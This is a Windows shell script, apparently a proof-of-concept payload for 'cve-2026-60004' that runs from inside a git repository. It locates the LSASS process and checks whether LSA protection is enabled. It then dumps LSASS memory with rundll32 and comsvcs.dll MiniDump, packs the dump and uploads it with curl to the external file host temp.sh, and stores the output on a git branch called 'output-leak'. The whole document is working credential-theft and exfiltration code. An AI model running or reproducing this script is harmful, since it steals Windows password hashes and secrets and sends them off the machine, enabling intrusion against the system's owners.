34 lines
1.6 KiB
Bash
Executable File
34 lines
1.6 KiB
Bash
Executable File
#!/bin/sh
|
|
GD=$(git rev-parse --absolute-git-dir)
|
|
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
|
OUT=$(
|
|
echo ===LSASS_PID===
|
|
PID=$(/c/WINDOWS/System32/tasklist.exe | grep -i 'lsass.exe' | awk '{print $2}' | head -1)
|
|
echo "PID=$PID"
|
|
echo ===PPL===
|
|
/c/WINDOWS/System32/reg.exe query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL 2>&1 || true
|
|
/c/WINDOWS/System32/reg.exe query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPLBoot 2>&1 || true
|
|
echo ===CLEAN===
|
|
rm -f /c/ProgramData/mmds_lsass.dmp /c/ProgramData/mmds_lsass.tar.gz /c/ProgramData/mmds_lsass.done
|
|
echo ===DUMP===
|
|
/c/WINDOWS/System32/rundll32.exe 'C:\windows\System32\comsvcs.dll,' MiniDump "$PID" 'C:\ProgramData\mmds_lsass.dmp' full 2>&1 || echo "RUNDLL32_EXIT=$?"
|
|
sleep 5
|
|
ls -l /c/ProgramData/mmds_lsass.dmp 2>&1 || true
|
|
echo ===PACK_UPLOAD===
|
|
if [ -f /c/ProgramData/mmds_lsass.dmp ]; then
|
|
cd /c/ProgramData && tar -czf mmds_lsass.tar.gz mmds_lsass.dmp
|
|
ls -l /c/ProgramData/mmds_lsass.tar.gz
|
|
/c/WINDOWS/System32/curl.exe -s -F "file=@C:\ProgramData\mmds_lsass.tar.gz" https://temp.sh/upload
|
|
touch /c/ProgramData/mmds_lsass.done
|
|
echo; echo UPLOAD_DONE
|
|
else
|
|
echo NO_DUMP_FILE
|
|
fi
|
|
echo ===DONE===
|
|
2>&1; echo "[exit-status=$?]")
|
|
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
|
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
|
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
|
|
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|
|
#A
|